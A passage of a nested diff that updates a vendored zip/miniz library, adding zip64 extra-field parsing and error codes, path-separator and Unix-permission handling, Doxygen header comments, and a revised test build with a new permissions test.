- &pZip->m_pState->m_sorted_central_dir_offsets,
- pZip->m_total_files, MZ_FALSE))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_ALLOC_FAILED);
- }
-
- if (pZip->m_pRead(pZip->m_pIO_opaque, cdir_ofs,
- pZip->m_pState->m_central_dir.m_p,
- cdir_size) != cdir_size)
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_FILE_READ_FAILED);
-
-- // Now create an index into the central directory file records, do some
-- // basic sanity checking on each record, and check for zip64 entries (which
-- // are not yet supported).
-+ /* Now create an index into the central directory file records, do some
-+ * basic sanity checking on each record */
- p = (const mz_uint8 *)pZip->m_pState->m_central_dir.m_p;
- for (n = cdir_size, i = 0; i < pZip->m_total_files; ++i) {
-- mz_uint total_header_size, comp_size, decomp_size, disk_index;
-+ mz_uint total_header_size, disk_index, bit_flags, filename_size,
-+ ext_data_size;
-+ mz_uint64 comp_size, decomp_size, local_header_ofs;
-+
- if ((n < MZ_ZIP_CENTRAL_DIR_HEADER_SIZE) ||
- (MZ_READ_LE32(p) != MZ_ZIP_CENTRAL_DIR_HEADER_SIG))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+
- MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32,
- i) =
- (mz_uint32)(p - (const mz_uint8 *)pZip->m_pState->m_central_dir.m_p);
-+
- if (sort_central_dir)
- MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_sorted_central_dir_offsets,
- mz_uint32, i) = i;
-+
- comp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS);
- decomp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS);
-- if (((!MZ_READ_LE32(p + MZ_ZIP_CDH_METHOD_OFS)) &&
-- (decomp_size != comp_size)) ||
-- (decomp_size && !comp_size) || (decomp_size == 0xFFFFFFFF) ||
-- (comp_size == 0xFFFFFFFF))
-- return MZ_FALSE;
-+ local_header_ofs = MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS);
-+ filename_size = MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS);
-+ ext_data_size = MZ_READ_LE16(p + MZ_ZIP_CDH_EXTRA_LEN_OFS);
-+
-+ if ((!pZip->m_pState->m_zip64_has_extended_info_fields) &&
-+ (ext_data_size) &&
-+ (MZ_MAX(MZ_MAX(comp_size, decomp_size), local_header_ofs) ==
-+ MZ_UINT32_MAX)) {
-+ /* Attempt to find zip64 extended information field in the entry's extra
-+ * data */
-+ mz_uint32 extra_size_remaining = ext_data_size;
-+
-+ if (extra_size_remaining) {
-+ const mz_uint8 *pExtra_data;
-+ void *buf = NULL;
-+
-+ if (MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + filename_size + ext_data_size >
-+ n) {
-+ buf = MZ_MALLOC(ext_data_size);
-+ if (buf == NULL)
-+ return mz_zip_set_error(pZip, MZ_ZIP_ALLOC_FAILED);
-+
-+ if (pZip->m_pRead(pZip->m_pIO_opaque,
-+ cdir_ofs + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE +
-+ filename_size,
-+ buf, ext_data_size) != ext_data_size) {
-+ MZ_FREE(buf);
-+ return mz_zip_set_error(pZip, MZ_ZIP_FILE_READ_FAILED);
-+ }
-+
-+ pExtra_data = (mz_uint8 *)buf;
-+ } else {
-+ pExtra_data = p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + filename_size;
-+ }
-+
-+ do {
-+ mz_uint32 field_id;
-+ mz_uint32 field_data_size;
-+
-+ if (extra_size_remaining < (sizeof(mz_uint16) * 2)) {
-+ MZ_FREE(buf);
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+ }
-+
-+ field_id = MZ_READ_LE16(pExtra_data);
-+ field_data_size = MZ_READ_LE16(pExtra_data + sizeof(mz_uint16));
-+
-+ if ((field_data_size + sizeof(mz_uint16) * 2) >
-+ extra_size_remaining) {
-+ MZ_FREE(buf);
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+ }
-+
-+ if (field_id == MZ_ZIP64_EXTENDED_INFORMATION_FIELD_HEADER_ID) {
-+ /* Ok, the archive didn't have any zip64 headers but it uses a
-+ * zip64 extended information field so mark it as zip64 anyway
-+ * (this can occur with infozip's zip util when it reads
-+ * compresses files from stdin). */
-+ pZip->m_pState->m_zip64 = MZ_TRUE;
-+ pZip->m_pState->m_zip64_has_extended_info_fields = MZ_TRUE;
-+ break;
-+ }
-+
-+ pExtra_data += sizeof(mz_uint16) * 2 + field_data_size;
-+ extra_size_remaining =
-+ extra_size_remaining - sizeof(mz_uint16) * 2 - field_data_size;
-+ } while (extra_size_remaining);
-+
-+ MZ_FREE(buf);
-+ }
-+ }
-+
-+ /* I've seen archives that aren't marked as zip64 that uses zip64 ext
-+ * data, argh */
-+ if ((comp_size != MZ_UINT32_MAX) && (decomp_size != MZ_UINT32_MAX)) {
-+ if (((!MZ_READ_LE32(p + MZ_ZIP_CDH_METHOD_OFS)) &&
-+ (decomp_size != comp_size)) ||
-+ (decomp_size && !comp_size))
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+ }
-+
- disk_index = MZ_READ_LE16(p + MZ_ZIP_CDH_DISK_START_OFS);
-- if ((disk_index != num_this_disk) && (disk_index != 1))
-- return MZ_FALSE;
-- if (((mz_uint64)MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS) +
-- MZ_ZIP_LOCAL_DIR_HEADER_SIZE + comp_size) > pZip->m_archive_size)
-- return MZ_FALSE;
-+ if ((disk_index == MZ_UINT16_MAX) ||
-+ ((disk_index != num_this_disk) && (disk_index != 1)))
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_MULTIDISK);
-+
-+ if (comp_size != MZ_UINT32_MAX) {
-+ if (((mz_uint64)MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS) +
-+ MZ_ZIP_LOCAL_DIR_HEADER_SIZE + comp_size) > pZip->m_archive_size)
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+ }
-+
-+ bit_flags = MZ_READ_LE16(p + MZ_ZIP_CDH_BIT_FLAG_OFS);
-+ if (bit_flags & MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_LOCAL_DIR_IS_MASKED)
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_ENCRYPTION);
-+
- if ((total_header_size = MZ_ZIP_CENTRAL_DIR_HEADER_SIZE +
- MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS) +
- MZ_READ_LE16(p + MZ_ZIP_CDH_EXTRA_LEN_OFS) +
- MZ_READ_LE16(p + MZ_ZIP_CDH_COMMENT_LEN_OFS)) >
- n)
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+
- n -= total_header_size;
- p += total_header_size;
- }
-diff --git a/contrib/zip/src/zip.c b/contrib/zip/src/zip.c
-index ff3a8fe1..1abcfd8f 100644
---- a/contrib/zip/src/zip.c
-+++ b/contrib/zip/src/zip.c
-@@ -24,7 +24,6 @@
- ((((P)[0] >= 'A' && (P)[0] <= 'Z') || ((P)[0] >= 'a' && (P)[0] <= 'z')) && \
- (P)[1] == ':')
- #define FILESYSTEM_PREFIX_LEN(P) (HAS_DEVICE(P) ? 2 : 0)
--#define ISSLASH(C) ((C) == '/' || (C) == '\\')
-
- #else
-
-@@ -48,7 +47,7 @@ int symlink(const char *target, const char *linkpath); // needed on Linux
- #endif
-
- #ifndef ISSLASH
--#define ISSLASH(C) ((C) == '/')
-+#define ISSLASH(C) ((C) == '/' || (C) == '\\')
- #endif
-
- #define CLEANUP(ptr) \
-@@ -78,26 +77,34 @@ static const char *base_name(const char *name) {
- return base;
- }
-
--static int mkpath(const char *path) {
-- char const *p;
-+static int mkpath(char *path) {
-+ char *p;
- char npath[MAX_PATH + 1];
- int len = 0;
- int has_device = HAS_DEVICE(path);
-
- memset(npath, 0, MAX_PATH + 1);
--
--#ifdef _WIN32
-- // only on windows fix the path
-- npath[0] = path[0];
-- npath[1] = path[1];
-- len = 2;
--#endif // _WIN32
--
-+ if (has_device) {
-+ // only on windows
-+ npath[0] = path[0];
-+ npath[1] = path[1];
-+ len = 2;
-+ }
- for (p = path + len; *p && len < MAX_PATH; p++) {
- if (ISSLASH(*p) && ((!has_device && len > 0) || (has_device && len > 2))) {
-- if (MKDIR(npath) == -1)
-- if (errno != EEXIST)
-+#if defined(_WIN32) || defined(__WIN32__) || defined(_MSC_VER) || \
-+ defined(__MINGW32__)
-+#else
-+ if ('\\' == *p) {
-+ *p = '/';
-+ }
-+#endif
-+
-+ if (MKDIR(npath) == -1) {
-+ if (errno != EEXIST) {
- return -1;
-+ }
-+ }
- }
- npath[len++] = *p;
- }
-@@ -279,7 +286,14 @@ int zip_entry_open(struct zip_t *zip, const char *entryname) {
- zip->entry.header_offset = zip->archive.m_archive_size;
- memset(zip->entry.header, 0, MZ_ZIP_LOCAL_DIR_HEADER_SIZE * sizeof(mz_uint8));
- zip->entry.method = 0;
-+
-+ // UNIX or APPLE
-+#if MZ_PLATFORM == 3 || MZ_PLATFORM == 19
-+ // regular file with rw-r--r-- persmissions
-+ zip->entry.external_attr = (mz_uint32)(0100644) << 16;
-+#else
- zip->entry.external_attr = 0;
-+#endif
-
- num_alignment_padding_bytes =
- mz_zip_writer_compute_padding_needed_for_file_alignment(pzip);
-@@ -660,7 +674,7 @@ ssize_t zip_entry_noallocread(struct zip_t *zip, void *buf, size_t bufsize) {
- }
-
- if (!mz_zip_reader_extract_to_mem_no_alloc(pzip, (mz_uint)zip->entry.index,
-- buf, bufsize, 0, NULL, 0)) {
-+ buf, bufsize, 0, NULL, 0)) {
- return -1;
- }
-
-@@ -670,10 +684,7 @@ ssize_t zip_entry_noallocread(struct zip_t *zip, void *buf, size_t bufsize) {
- int zip_entry_fread(struct zip_t *zip, const char *filename) {
- mz_zip_archive *pzip = NULL;
- mz_uint idx;
--#if defined(_MSC_VER)
--#else
- mz_uint32 xattr = 0;
--#endif
- mz_zip_archive_file_stat info;
-
- if (!zip) {
-@@ -875,12 +886,19 @@ int zip_extract(const char *zipname, const char *dir,
- goto out;
- }
-
-- if ((((info.m_version_made_by >> 8) == 3) || ((info.m_version_made_by >> 8) == 19)) // if zip is produced on Unix or macOS (3 and 19 from section 4.4.2.2 of zip standard)
-- && info.m_external_attr & (0x20 << 24)) { // and has sym link attribute (0x80 is file, 0x40 is directory)
-+ if ((((info.m_version_made_by >> 8) == 3) ||
-+ ((info.m_version_made_by >> 8) ==
-+ 19)) // if zip is produced on Unix or macOS (3 and 19 from
-+ // section 4.4.2.2 of zip standard)
-+ && info.m_external_attr &
-+ (0x20 << 24)) { // and has sym link attribute (0x80 is file, 0x40
-+ // is directory)
- #if defined(_WIN32) || defined(__WIN32__) || defined(_MSC_VER) || \
- defined(__MINGW32__)
--#else
-- if (info.m_uncomp_size > MAX_PATH || !mz_zip_reader_extract_to_mem_no_alloc(&zip_archive, i, symlink_to, MAX_PATH, 0, NULL, 0)) {
-+#else
-+ if (info.m_uncomp_size > MAX_PATH ||
-+ !mz_zip_reader_extract_to_mem_no_alloc(&zip_archive, i, symlink_to,
-+ MAX_PATH, 0, NULL, 0)) {
- goto out;
- }
- symlink_to[info.m_uncomp_size] = '\0';
-diff --git a/contrib/zip/src/zip.h b/contrib/zip/src/zip.h
-index 5f39df50..a48d64d6 100644
---- a/contrib/zip/src/zip.h
-+++ b/contrib/zip/src/zip.h
-@@ -20,241 +20,240 @@ extern "C" {
- #endif
-
- #if !defined(_SSIZE_T_DEFINED) && !defined(_SSIZE_T_DEFINED_) && \
-- !defined(_SSIZE_T) && !defined(_SSIZE_T_) && !defined(__ssize_t_defined)
--#define _SSIZE_T
-+ !defined(__DEFINED_ssize_t) && !defined(__ssize_t_defined) && \
-+ !defined(_SSIZE_T) && !defined(_SSIZE_T_)
-+
- // 64-bit Windows is the only mainstream platform
- // where sizeof(long) != sizeof(void*)
- #ifdef _WIN64
--typedef long long ssize_t; /* byte count or error */
-+typedef long long ssize_t; /* byte count or error */
- #else
--typedef long ssize_t; /* byte count or error */
-+typedef long ssize_t; /* byte count or error */
- #endif
-+
-+#define _SSIZE_T_DEFINED
-+#define _SSIZE_T_DEFINED_
-+#define __DEFINED_ssize_t
-+#define __ssize_t_defined
-+#define _SSIZE_T
-+#define _SSIZE_T_
-+
- #endif
-
- #ifndef MAX_PATH
- #define MAX_PATH 32767 /* # chars in a path name including NULL */
- #endif
-
-+/**
-+ * @mainpage
-+ *
-+ * Documenation for @ref zip.
-+ */
-+
-+/**
-+ * @addtogroup zip
-+ * @{
-+ */
-+
-+/**
-+ * Default zip compression level.
-+ */
-+
- #define ZIP_DEFAULT_COMPRESSION_LEVEL 6
-
--/*
-- This data structure is used throughout the library to represent zip archive
-- - forward declaration.
--*/
-+/**
-+ * @struct zip_t
-+ *
-+ * This data structure is used throughout the library to represent zip archive -
-+ * forward declaration.
-+ */
- struct zip_t;
-
--/*
-- Opens zip archive with compression level using the given mode.
--
-- Args:
-- zipname: zip archive file name.
-- level: compression level (0-9 are the standard zlib-style levels).
-- mode: file access mode.
-- 'r': opens a file for reading/extracting (the file must exists).
-- 'w': creates an empty file for writing.
-- 'a': appends to an existing archive.
--
-- Returns:
-- The zip archive handler or NULL on error
--*/
-+/**
-+ * Opens zip archive with compression level using the given mode.
-+ *
-+ * @param zipname zip archive file name.
-+ * @param level compression level (0-9 are the standard zlib-style levels).
-+ * @param mode file access mode.
-+ * - 'r': opens a file for reading/extracting (the file must exists).
-+ * - 'w': creates an empty file for writing.
-+ * - 'a': appends to an existing archive.
-+ *
-+ * @return the zip archive handler or NULL on error
-+ */
- extern struct zip_t *zip_open(const char *zipname, int level, char mode);
-
--/*
-- Closes the zip archive, releases resources - always finalize.
--
-- Args:
-- zip: zip archive handler.
--*/
-+/**
-+ * Closes the zip archive, releases resources - always finalize.
-+ *
-+ * @param zip zip archive handler.
-+ */
- extern void zip_close(struct zip_t *zip);
-
--/*
-- Opens an entry by name in the zip archive.
-- For zip archive opened in 'w' or 'a' mode the function will append
-- a new entry. In readonly mode the function tries to locate the entry
-- in global dictionary.
--
-- Args:
-- zip: zip archive handler.
-- entryname: an entry name in local dictionary.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Opens an entry by name in the zip archive.
-+ *
-+ * For zip archive opened in 'w' or 'a' mode the function will append
-+ * a new entry. In readonly mode the function tries to locate the entry
-+ * in global dictionary.
-+ *
-+ * @param zip zip archive handler.
-+ * @param entryname an entry name in local dictionary.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_open(struct zip_t *zip, const char *entryname);
-
--/*
-- Opens a new entry by index in the zip archive.
-- This function is only valid if zip archive was opened in 'r' (readonly) mode.
--
-- Args:
-- zip: zip archive handler.
-- index: index in local dictionary.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Opens a new entry by index in the zip archive.
-+ *
-+ * This function is only valid if zip archive was opened in 'r' (readonly) mode.
-+ *
-+ * @param zip zip archive handler.
-+ * @param index index in local dictionary.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_openbyindex(struct zip_t *zip, int index);
-
--/*
-- Closes a zip entry, flushes buffer and releases resources.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Closes a zip entry, flushes buffer and releases resources.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_close(struct zip_t *zip);
-
--/*
-- Returns a local name of the current zip entry.
-- The main difference between user's entry name and local entry name
-- is optional relative path.
-- Following .ZIP File Format Specification - the path stored MUST not contain
-- a drive or device letter, or a leading slash.
-- All slashes MUST be forward slashes '/' as opposed to backwards slashes '\'
-- for compatibility with Amiga and UNIX file systems etc.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The pointer to the current zip entry name, or NULL on error.
--*/
-+/**
-+ * Returns a local name of the current zip entry.
-+ *
-+ * The main difference between user's entry name and local entry name
-+ * is optional relative path.
-+ * Following .ZIP File Format Specification - the path stored MUST not contain
-+ * a drive or device letter, or a leading slash.
-+ * All slashes MUST be forward slashes '/' as opposed to backwards slashes '\'
-+ * for compatibility with Amiga and UNIX file systems etc.
-+ *
-+ * @param zip: zip archive handler.
-+ *
-+ * @return the pointer to the current zip entry name, or NULL on error.
-+ */
- extern const char *zip_entry_name(struct zip_t *zip);
-
--/*
-- Returns an index of the current zip entry.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The index on success, negative number (< 0) on error.
--*/
-+/**
-+ * Returns an index of the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the index on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_index(struct zip_t *zip);
-
--/*
-- Determines if the current zip entry is a directory entry.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The return code - 1 (true), 0 (false), negative number (< 0) on error.
--*/
-+/**
-+ * Determines if the current zip entry is a directory entry.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the return code - 1 (true), 0 (false), negative number (< 0) on
-+ * error.
-+ */
- extern int zip_entry_isdir(struct zip_t *zip);
-
--/*
-- Returns an uncompressed size of the current zip entry.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The uncompressed size in bytes.
--*/
-+/**
-+ * Returns an uncompressed size of the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the uncompressed size in bytes.
-+ */
- extern unsigned long long zip_entry_size(struct zip_t *zip);
-
--/*
-- Returns CRC-32 checksum of the current zip entry.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The CRC-32 checksum.
--*/
-+/**
-+ * Returns CRC-32 checksum of the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the CRC-32 checksum.
-+ */
- extern unsigned int zip_entry_crc32(struct zip_t *zip);
-
--/*
-- Compresses an input buffer for the current zip entry.
--
-- Args:
-- zip: zip archive handler.
-- buf: input buffer.
-- bufsize: input buffer size (in bytes).
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Compresses an input buffer for the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ * @param buf input buffer.
-+ * @param bufsize input buffer size (in bytes).
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_write(struct zip_t *zip, const void *buf, size_t bufsize);
-
--/*
-- Compresses a file for the current zip entry.
--
-- Args:
-- zip: zip archive handler.
-- filename: input file.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Compresses a file for the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ * @param filename input file.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_fwrite(struct zip_t *zip, const char *filename);
-
--/*
-- Extracts the current zip entry into output buffer.
-- The function allocates sufficient memory for a output buffer.
--
-- Args:
-- zip: zip archive handler.
-- buf: output buffer.
-- bufsize: output buffer size (in bytes).
--
-- Note:
-- - remember to release memory allocated for a output buffer.
-- - for large entries, please take a look at zip_entry_extract function.
--
-- Returns:
-- The return code - the number of bytes actually read on success.
-- Otherwise a -1 on error.
--*/
-+/**
-+ * Extracts the current zip entry into output buffer.
-+ *
-+ * The function allocates sufficient memory for a output buffer.
-+ *
-+ * @param zip zip archive handler.
-+ * @param buf output buffer.
-+ * @param bufsize output buffer size (in bytes).
-+ *
-+ * @note remember to release memory allocated for a output buffer.
-+ * for large entries, please take a look at zip_entry_extract function.
-+ *
-+ * @return the return code - the number of bytes actually read on success.
-+ * Otherwise a -1 on error.
-+ */
- extern ssize_t zip_entry_read(struct zip_t *zip, void **buf, size_t *bufsize);
-
--/*
-- Extracts the current zip entry into a memory buffer using no memory
-- allocation.
--
-- Args:
-- zip: zip archive handler.
-- buf: preallocated output buffer.
-- bufsize: output buffer size (in bytes).
--
-- Note:
-- - ensure supplied output buffer is large enough.
-- - zip_entry_size function (returns uncompressed size for the current entry)
-- can be handy to estimate how big buffer is needed.
-- - for large entries, please take a look at zip_entry_extract function.
--
-- Returns:
-- The return code - the number of bytes actually read on success.
-- Otherwise a -1 on error (e.g. bufsize is not large enough).
--*/
--extern ssize_t zip_entry_noallocread(struct zip_t *zip, void *buf, size_t bufsize);
--
--/*
-- Extracts the current zip entry into output file.
--
-- Args:
-- zip: zip archive handler.
-- filename: output file.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Extracts the current zip entry into a memory buffer using no memory
-+ * allocation.
-+ *
-+ * @param zip zip archive handler.
-+ * @param buf preallocated output buffer.
-+ * @param bufsize output buffer size (in bytes).
-+ *
-+ * @note ensure supplied output buffer is large enough.
-+ * zip_entry_size function (returns uncompressed size for the current
-+ * entry) can be handy to estimate how big buffer is needed. for large
-+ * entries, please take a look at zip_entry_extract function.
-+ *
-+ * @return the return code - the number of bytes actually read on success.
-+ * Otherwise a -1 on error (e.g. bufsize is not large enough).
-+ */
-+extern ssize_t zip_entry_noallocread(struct zip_t *zip, void *buf,
-+ size_t bufsize);
-+
-+/**
-+ * Extracts the current zip entry into output file.
-+ *
-+ * @param zip zip archive handler.
-+ * @param filename output file.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_fread(struct zip_t *zip, const char *filename);
-
--/*
-- Extracts the current zip entry using a callback function (on_extract).
--
-- Args:
-- zip: zip archive handler.
-- on_extract: callback function.
-- arg: opaque pointer (optional argument,
-- which you can pass to the on_extract callback)
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
-+/**
-+ * Extracts the current zip entry using a callback function (on_extract).
-+ *
-+ * @param zip zip archive handler.
-+ * @param on_extract callback function.
-+ * @param arg opaque pointer (optional argument, which you can pass to the
-+ * on_extract callback)
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
- */
- extern int
- zip_entry_extract(struct zip_t *zip,
-@@ -262,53 +261,49 @@ zip_entry_extract(struct zip_t *zip,
- const void *data, size_t size),
- void *arg);
-
--/*
-- Returns the number of all entries (files and directories) in the zip archive.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The return code - the number of entries on success,
-- negative number (< 0) on error.
--*/
-+/**
-+ * Returns the number of all entries (files and directories) in the zip archive.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the return code - the number of entries on success, negative number
-+ * (< 0) on error.
-+ */
- extern int zip_total_entries(struct zip_t *zip);
-
--/*
-- Creates a new archive and puts files into a single zip archive.
--
-- Args:
-- zipname: zip archive file.
-- filenames: input files.
-- len: number of input files.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Creates a new archive and puts files into a single zip archive.
-+ *
-+ * @param zipname zip archive file.
-+ * @param filenames input files.
-+ * @param len: number of input files.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_create(const char *zipname, const char *filenames[], size_t len);
-
--/*
-- Extracts a zip archive file into directory.
--
-- If on_extract_entry is not NULL, the callback will be called after
-- successfully extracted each zip entry.
-- Returning a negative value from the callback will cause abort and return an
-- error. The last argument (void *arg) is optional, which you can use to pass
-- data to the on_extract_entry callback.
--
-- Args:
-- zipname: zip archive file.
-- dir: output directory.
-- on_extract_entry: on extract callback.
-- arg: opaque pointer.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Extracts a zip archive file into directory.
-+ *
-+ * If on_extract_entry is not NULL, the callback will be called after
-+ * successfully extracted each zip entry.
-+ * Returning a negative value from the callback will cause abort and return an
-+ * error. The last argument (void *arg) is optional, which you can use to pass
-+ * data to the on_extract_entry callback.
-+ *
-+ * @param zipname zip archive file.
-+ * @param dir output directory.
-+ * @param on_extract_entry on extract callback.
-+ * @param arg opaque pointer.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_extract(const char *zipname, const char *dir,
- int (*on_extract_entry)(const char *filename, void *arg),
- void *arg);
-
-+/** @} */
-+
- #ifdef __cplusplus
- }
- #endif
-diff --git a/contrib/zip/test/CMakeLists.txt b/contrib/zip/test/CMakeLists.txt
-index 9b2a8db1..cc060b00 100644
---- a/contrib/zip/test/CMakeLists.txt
-+++ b/contrib/zip/test/CMakeLists.txt
-@@ -1,19 +1,16 @@
- cmake_minimum_required(VERSION 2.8)
-
--if ("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU" OR "${CMAKE_C_COMPILER_ID}" STREQUAL "Clang" OR "${CMAKE_C_COMPILER_ID}" STREQUAL "AppleClang")
-- if(ENABLE_COVERAGE)
-- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g ")
-- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -O0")
-- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fprofile-arcs")
-- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -ftest-coverage")
-- set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} --coverage")
-- endif()
--endif ()
--
- # test
--include_directories(../src)
--add_executable(test.exe test.c ../src/zip.c)
--add_executable(test_miniz.exe test_miniz.c)
-+set(test_out test.out)
-+set(test_miniz_out test_miniz.out)
-+
-+add_executable(${test_out} test.c)
-+target_link_libraries(${test_out} zip)
-+add_executable(${test_miniz_out} test_miniz.c)
-+target_link_libraries(${test_miniz_out} zip)
-+
-+add_test(NAME ${test_out} COMMAND ${test_out})
-+add_test(NAME ${test_miniz_out} COMMAND ${test_miniz_out})
-
--add_test(NAME test COMMAND test.exe)
--add_test(NAME test_miniz COMMAND test_miniz.exe)
-+set(test_out ${test_out} PARENT_SCOPE)
-+set(test_miniz_out ${test_miniz_out} PARENT_SCOPE)
-diff --git a/contrib/zip/test/test.c b/contrib/zip/test/test.c
-index 45443053..a9b2ddab 100644
---- a/contrib/zip/test/test.c
-+++ b/contrib/zip/test/test.c
-@@ -29,6 +29,8 @@
- #define XFILE "7.txt\0"
- #define XMODE 0100777
-
-+#define UNIXMODE 0100644
-+
- #define UNUSED(x) (void)x
-
- static int total_entries = 0;
-@@ -102,7 +104,8 @@ static void test_read(void) {
- assert(0 == zip_entry_close(zip));
- free(buf);
- buf = NULL;
--
-+ bufsize = 0;
-+
- assert(0 == zip_entry_open(zip, "test/test-2.txt"));
- assert(strlen(TESTDATA2) == zip_entry_size(zip));
- assert(CRC32DATA2 == zip_entry_crc32(zip));
-@@ -131,7 +134,8 @@ static void test_read(void) {
- assert(0 == zip_entry_close(zip));
- free(buf);
- buf = NULL;
--
-+ bufsize = 0;
-+
- buftmp = strlen(TESTDATA1);
- buf = calloc(buftmp, sizeof(char));
- assert(0 == zip_entry_open(zip, "test/test-1.txt"));
-@@ -433,6 +437,35 @@ static void test_mtime(void) {
- remove(ZIPNAME);
- }
-
-+static void test_unix_permissions(void) {
-+#if defined(_WIN64) || defined(_WIN32) || defined(__WIN32__)
-+#else
-+ // UNIX or APPLE
-+ struct MZ_FILE_STAT_STRUCT file_stats;
-+
-+ remove(ZIPNAME);
-+
-+ struct zip_t *zip = zip_open(ZIPNAME, ZIP_DEFAULT_COMPRESSION_LEVEL, 'w');
-+ assert(zip != NULL);
-+
-+ assert(0 == zip_entry_open(zip, RFILE));
-+ assert(0 == zip_entry_write(zip, TESTDATA1, strlen(TESTDATA1)));
-+ assert(0 == zip_entry_close(zip));
-+
-+ zip_close(zip);
-+
-+ remove(RFILE);
-+
-+ assert(0 == zip_extract(ZIPNAME, ".", NULL, NULL));
-+
-+ assert(0 == MZ_FILE_STAT(RFILE, &file_stats));
-+ assert(UNIXMODE == file_stats.st_mode);
-+
-+ remove(RFILE);
-+ remove(ZIPNAME);
-+#endif
-+}
-+
- int main(int argc, char *argv[]) {
- UNUSED(argc);
- UNUSED(argv);
-@@ -453,6 +486,7 @@ int main(int argc, char *argv[]) {
- test_write_permissions();
- test_exe_permissions();
- test_mtime();
-+ test_unix_permissions();
-
- remove(ZIPNAME);
- return 0;
-diff --git a/contrib/zip/test/test_miniz.c b/contrib/zip/test/test_miniz.c
-index ebc0564d..babcaecd 100644
---- a/contrib/zip/test/test_miniz.c
-+++ b/contrib/zip/test/test_miniz.c
-@@ -23,16 +23,39 @@ int main(int argc, char *argv[]) {
- uint step = 0;
- int cmp_status;
- uLong src_len = (uLong)strlen(s_pStr);
-- uLong cmp_len = compressBound(src_len);
- uLong uncomp_len = src_len;
-+ uLong cmp_len;
- uint8 *pCmp, *pUncomp;
-+ size_t sz;
- uint total_succeeded = 0;
- (void)argc, (void)argv;
-
- printf("miniz.c version: %s\n", MZ_VERSION);
-
- do {
-+ pCmp = (uint8 *)tdefl_compress_mem_to_heap(s_pStr, src_len, &cmp_len, 0);
-+ if (!pCmp) {
-+ printf("tdefl_compress_mem_to_heap failed\n");
-+ return EXIT_FAILURE;
-+ }
-+ if (src_len <= cmp_len) {
